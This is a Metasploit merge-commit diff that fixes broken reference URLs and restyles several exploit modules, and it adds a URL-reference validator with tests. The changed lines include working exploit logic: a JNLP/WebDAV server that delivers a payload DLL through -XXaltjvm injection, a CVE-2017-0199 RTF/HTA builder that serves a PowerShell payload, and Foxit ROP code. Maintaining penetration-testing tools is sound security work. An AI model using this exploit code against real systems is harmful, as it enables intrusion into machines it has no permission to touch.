Merge pull request #21042 from adfoster-r7/fix-broken-module-url-references

Fix broken module url references
This commit is contained in:
cgranleese-r7
2026-03-02 15:19:01 +00:00
committed by GitHub
9 changed files with 135 additions and 77 deletions
@@ -19,12 +19,12 @@ class MetasploitModule < Msf::Auxiliary
},
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
'References' => [
['URL', 'ftp://ftp.idsoftware.com/idstuff/quake3/docs/server.txt']
['URL', 'https://ftp.gwdg.de/pub/misc/ftp.idsoftware.com/idstuff/quake3/docs/server.txt']
],
'License' => MSF_LICENSE,
'Actions' => [
['status', 'Description' => 'Use the getstatus command'],
['info', 'Description' => 'Use the getinfo command']
['status', { 'Description' => 'Use the getstatus command' }],
['info', { 'Description' => 'Use the getinfo command' }]
],
'DefaultAction' => 'status',
'Notes' => {
@@ -66,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary
stuff
else
# try to get the host name, game name and version
stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) }
stuff.select { |k, _| %w[hostname sv_hostname gamename com_gamename version].include?(k) }
end
end
@@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote
'References' => [
['CVE', '2026-2329'],
# Rapid7 advisory for CVE-2026-2329
['URL', 'www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
# Vendor advisory for CVE-2026-2329 (GSVUL-2026-001)
['URL', 'https://psirt.grandstream.com/'],
# Vendor release notes (PDF) for the fixed firmware version 1.0.7.81.
@@ -40,8 +40,8 @@ class MetasploitModule < Msf::Exploit::Remote
[ 'CVE', '2012-1533' ],
[ 'OSVDB', '86348' ],
[ 'BID', '56046'],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
[ 'URL', 'http://pastebin.com/eUucVage ']
[ 'URL', 'https://www.oracle.com/security-alerts/javacpuoct2012.html' ],
[ 'URL', 'https://pastebin.com/eUucVage']
],
'Platform' => 'win',
'Payload' => {
@@ -72,8 +72,8 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]),
OptString.new('URIPATH', [ true, 'The URI to use.', '/' ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
]
)
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
ret = nil
# print_status("Agent: #{agent}")
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
if agent =~ %r{(Windows NT (5|6)\.(0|1|2)|MiniRedir/(5|6)\.(0|1|2))}
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
@@ -101,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
if (!mytarget)
send_not_found(cli)
return
end
@@ -120,9 +120,9 @@ class MetasploitModule < Msf::Exploit::Remote
end
# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/') or !(request.uri =~ %r{/([^/]+)/})
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8 + rand(8)) + '/'
subdir = '/' + rand_text_alphanumeric(rand(8..15)) + '/'
else
subdir = request.uri + '/'
end
@@ -130,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote
send_redirect(cli, subdir)
return
else
share_name = $1
share_name = ::Regexp.last_match(1)
end
# dispatch WebDAV requests based on method first
@@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote
#
# GET requests
#
def process_get(cli, request, target, share_name)
def process_get(cli, request, _target, share_name)
print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
@@ -161,10 +161,10 @@ class MetasploitModule < Msf::Exploit::Remote
#
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
return if ((p = regenerate_payload(cli)).nil?)
# Generate a DLL based on the payload
dll_data = generate_payload_dll({ :code => p.encoded })
dll_data = generate_payload_dll({ code: p.encoded })
# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
elsif (request.uri =~ /\.jnlp$/i)
@@ -176,11 +176,11 @@ class MetasploitModule < Msf::Exploit::Remote
unc = datastore['UNCPATH'].dup
else
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
unc = "\\\\" + my_host + "\\" + share_name
unc = '\\\\' + my_host + '\\' + share_name
end
# NOTE: we ensure there's only a single backslash here since it will get escaped
if unc[0, 2] == "\\\\"
if unc[0, 2] == '\\\\'
unc.slice!(0, 1)
end
@@ -189,29 +189,29 @@ class MetasploitModule < Msf::Exploit::Remote
# codebase, href and application-desc parameters successfully suppress java splash
jnlp_data = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10) + 10)}" href="#{Rex::Text.rand_text_alpha(rand(10) + 10)}.jnlp">
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10..19))}" href="#{Rex::Text.rand_text_alpha(rand(10..19))}.jnlp">
<information>
<title>Download</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</description>
<vendor>#{Rex::Text.rand_text_alpha(rand(10..19))}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10..19))}</description>
</information>
<resources>
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
</resources>
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10) + 10)}" />
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10..19))}" />
</jnlp>
EOS
print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
else
print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
jnlp_path = get_resource()
jnlp_name = Rex::Text.rand_text_alpha(rand(8..15))
jnlp_path = get_resource
if jnlp_path[-1, 1] != '/'
jnlp_path << '/'
end
jnlp_path << request.uri.split('/')[-1] << '/'
jnlp_path << jnlp_name << ".jnlp"
jnlp_path << jnlp_name << '.jnlp'
send_redirect(cli, jnlp_path, '')
end
end
@@ -219,7 +219,7 @@ class MetasploitModule < Msf::Exploit::Remote
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
def process_options(cli, request, _target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
# 'DASL' => '<DAV:sql>',
@@ -233,7 +233,7 @@ class MetasploitModule < Msf::Exploit::Remote
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
def process_propfind(cli, request, _target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''
@@ -242,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
# <lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
body = %(<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
@@ -260,11 +260,11 @@ class MetasploitModule < Msf::Exploit::Remote
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
)
elsif (path =~ %r{/$}) or (!path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
body = %(<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
@@ -281,14 +281,14 @@ class MetasploitModule < Msf::Exploit::Remote
</D:propstat>
</D:response>
</D:multistatus>
|
)
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp = create_response(207, 'Multi-Status')
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
@@ -299,7 +299,7 @@ class MetasploitModule < Msf::Exploit::Remote
#
def exploit
if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
raise 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
super
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
['ZDI', '18-332'],
['ZDI', '18-342'],
['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt']
['URL', 'https://srcincite.io/pocs/cve-2018-99%7B48,58%7D.pdf.txt']
],
'DefaultOptions' => {
'DisablePayloadHandler' => true,
@@ -82,16 +82,16 @@ class MetasploitModule < Msf::Exploit::Remote
rop = ''
max_index = 0
share_path.unpack('V*').each_with_index { |blk, index|
share_path.unpack('V*').each_with_index do |blk, index|
rop << "\nrop[0x%02x] = 0x%08x;" % [index + 12, blk]
max_index = index
}
end
(max_index + 1).upto(10) { |i| rop << "\nrop[0x%02x] = 0x00000000;" % (i + 12) }
begin
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf'))
pdf_doc = ERB.new(template).result(binding())
pdf_doc = ERB.new(template).result(binding)
pdf_doc
rescue Errno::ENOENT
fail_with(Failure::NotFound, 'The PDF template was not found')
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
super(
update_info(
info,
'Name' => "Microsoft Office Word Malicious Hta Execution",
'Name' => 'Microsoft Office Word Malicious Hta Execution',
'Description' => %q{
This module creates a malicious RTF file that when opened in
vulnerable versions of Microsoft Word will lead to code execution.
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
['URL', 'https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/'],
['URL', 'https://www.microsoft.com/en-us/download/details.aspx?id=10725'],
['URL', 'https://msdn.microsoft.com/en-us/library/dd942294.aspx'],
['URL', 'https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-CFB/[MS-CFB].pdf'],
['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199']
],
'Platform' => 'win',
@@ -83,12 +83,12 @@ class MetasploitModule < Msf::Exploit::Remote
uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}"
uri = Rex::Text.hexify(Rex::Text.to_unicode(uri))
uri.delete!("\n")
uri.delete!("\\x")
uri.delete!("\\")
uri.delete!('\\x')
uri.delete!('\\')
padding_length = uri_maxlength * 2 - uri.length
fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length < 0
padding_length.times { uri << "0" }
padding_length.times { uri << '0' }
uri
end
@@ -98,38 +98,38 @@ class MetasploitModule < Msf::Exploit::Remote
# ministream = ole.instance_variable_get(:@ministream)
# ministream_data = ministream.instance_variable_get(:@data)
ministream_data = ""
ministream_data << "01000002090000000100000000000000" # 00000000: ................
ministream_data << "0000000000000000a4000000e0c9ea79" # 00000010: ...............y
ministream_data << "f9bace118c8200aa004ba90b8c000000" # 00000020: .........K......
ministream_data = ''
ministream_data << '01000002090000000100000000000000' # 00000000: ................
ministream_data << '0000000000000000a4000000e0c9ea79' # 00000010: ...............y
ministream_data << 'f9bace118c8200aa004ba90b8c000000' # 00000020: .........K......
ministream_data << generate_uri
ministream_data << "00000000795881f43b1d7f48af2c825d" # 000000a0: ....yX..;..H.,.]
ministream_data << "c485276300000000a5ab0000ffffffff" # 000000b0: ..'c............
ministream_data << "0609020000000000c000000000000046" # 000000c0: ...............F
ministream_data << "00000000ffffffff0000000000000000" # 000000d0: ................
ministream_data << "906660a637b5d2010000000000000000" # 000000e0: .f`.7...........
ministream_data << "00000000000000000000000000000000" # 000000f0: ................
ministream_data << "100203000d0000000000000000000000" # 00000100: ................
ministream_data << "00000000000000000000000000000000" # 00000110: ................
ministream_data << "00000000000000000000000000000000" # 00000120: ................
ministream_data << "00000000000000000000000000000000" # 00000130: ................
ministream_data << "00000000000000000000000000000000" # 00000140: ................
ministream_data << "00000000000000000000000000000000" # 00000150: ................
ministream_data << "00000000000000000000000000000000" # 00000160: ................
ministream_data << "00000000000000000000000000000000" # 00000170: ................
ministream_data << "00000000000000000000000000000000" # 00000180: ................
ministream_data << "00000000000000000000000000000000" # 00000190: ................
ministream_data << "00000000000000000000000000000000" # 000001a0: ................
ministream_data << "00000000000000000000000000000000" # 000001b0: ................
ministream_data << "00000000000000000000000000000000" # 000001c0: ................
ministream_data << "00000000000000000000000000000000" # 000001d0: ................
ministream_data << "00000000000000000000000000000000" # 000001e0: ................
ministream_data << "00000000000000000000000000000000" # 000001f0: ................
ministream_data << '00000000795881f43b1d7f48af2c825d' # 000000a0: ....yX..;..H.,.]
ministream_data << 'c485276300000000a5ab0000ffffffff' # 000000b0: ..'c............
ministream_data << '0609020000000000c000000000000046' # 000000c0: ...............F
ministream_data << '00000000ffffffff0000000000000000' # 000000d0: ................
ministream_data << '906660a637b5d2010000000000000000' # 000000e0: .f`.7...........
ministream_data << '00000000000000000000000000000000' # 000000f0: ................
ministream_data << '100203000d0000000000000000000000' # 00000100: ................
ministream_data << '00000000000000000000000000000000' # 00000110: ................
ministream_data << '00000000000000000000000000000000' # 00000120: ................
ministream_data << '00000000000000000000000000000000' # 00000130: ................
ministream_data << '00000000000000000000000000000000' # 00000140: ................
ministream_data << '00000000000000000000000000000000' # 00000150: ................
ministream_data << '00000000000000000000000000000000' # 00000160: ................
ministream_data << '00000000000000000000000000000000' # 00000170: ................
ministream_data << '00000000000000000000000000000000' # 00000180: ................
ministream_data << '00000000000000000000000000000000' # 00000190: ................
ministream_data << '00000000000000000000000000000000' # 000001a0: ................
ministream_data << '00000000000000000000000000000000' # 000001b0: ................
ministream_data << '00000000000000000000000000000000' # 000001c0: ................
ministream_data << '00000000000000000000000000000000' # 000001d0: ................
ministream_data << '00000000000000000000000000000000' # 000001e0: ................
ministream_data << '00000000000000000000000000000000' # 000001f0: ................
ministream_data
end
def create_rtf_format
template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf")
template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-0199.rtf')
template_rtf = ::File.open(template_path, 'rb')
data = template_rtf.read(template_rtf.stat.size)
@@ -138,7 +138,7 @@ class MetasploitModule < Msf::Exploit::Remote
data
end
def on_request_uri(cli, req)
def on_request_uri(cli, _req)
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
@@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win' }
{ arch: ARCH_X86, platform: 'win' }
)
send_response(cli, data, 'Content-Type' => 'application/hta')
@@ -24,13 +24,13 @@ class MetasploitModule < Msf::Exploit::Remote
['CVE', '2021-40444'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],
['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],
['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],
['URL', 'https://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/%5Bms-cab%5D.pdf'],
['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],
['URL', 'https://github.com/klezVirus/CVE-2021-40444']
],
'Author' => [
'lockedbyte ', # Vulnerability discovery.
'klezVirus ', # References and PoC.
'lockedbyte', # Vulnerability discovery.
'klezVirus', # References and PoC.
'thesunRider', # Official Metasploit module.
'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
],
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Post
'SessionTypes' => ['meterpreter'],
'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz
'References' => [
['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'],
['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker%20Drive%20Encryption%20%28BDE%29%20format.asciidoc'],
['URL', 'https://web.archive.org/web/20170914195545/http://www.hsc.fr/ressources/outils/dislocker/'],
],
'Notes' => {
+40
View File
@@ -331,6 +331,46 @@ RSpec.describe ModuleValidation::Validator do
end
end
context 'when the references contains URL values' do
let(:mod_options) do
super().merge(references: [
Msf::Module::SiteReference.new('URL', 'not a valid url'),
Msf::Module::SiteReference.new('URL', 'ftp://example.com/file.txt'),
Msf::Module::SiteReference.new('URL', 'ht tp://example.com'),
Msf::Module::SiteReference.new('URL', 'example.com/exploit/research')
])
end
it 'has errors for invalid URL references' do
expect(subject.errors.full_messages).to include(
"References URL reference 'not a valid url' is not a valid HTTP(s) URI with valid percent encoding",
"References URL reference 'ftp://example.com/file.txt' is not a valid HTTP(s) URI with valid percent encoding",
"References URL reference 'ht tp://example.com' is not a valid HTTP(s) URI with valid percent encoding",
"References URL reference 'example.com/exploit/research' is not a valid HTTP(s) URI with valid percent encoding"
)
end
context 'with only HTTP URL references' do
let(:mod_options) do
super().merge(references: [Msf::Module::SiteReference.new('URL', 'http://example.com/path')])
end
it 'has no errors' do
expect(subject.errors.full_messages).to be_empty
end
end
context 'with only valid HTTPS URL references' do
let(:mod_options) do
super().merge(references: [Msf::Module::SiteReference.new('URL', 'https://example.com/path')])
end
it 'has no errors' do
expect(subject.errors.full_messages).to be_empty
end
end
end
context 'when targets and default target are present' do
let(:mod_options) do
super().merge(
+18
View File
@@ -36,6 +36,7 @@ module ModuleValidation
validate :validate_description_does_not_contain_non_printable_chars
validate :validate_name_does_not_contain_non_printable_chars
validate :validate_attack_reference_format
validate :validate_url_reference_format
attr_reader :mod
@@ -187,6 +188,23 @@ module ModuleValidation
end
end
def validate_url_reference_format
references.each do |ref|
next unless ref.respond_to?(:ctx_id) && ref.respond_to?(:ctx_val)
next unless ref.ctx_id == 'URL'
val = ref.ctx_val
begin
uri = URI.parse(val)
unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
errors.add :references, "URL reference '#{val}' is not a valid HTTP(s) URI with valid percent encoding"
end
rescue URI::InvalidURIError => e
errors.add :references, "URL reference '#{val}' is not a valid HTTP(s) URI with valid percent encoding"
end
end
end
def has_notes?
!notes.empty?
end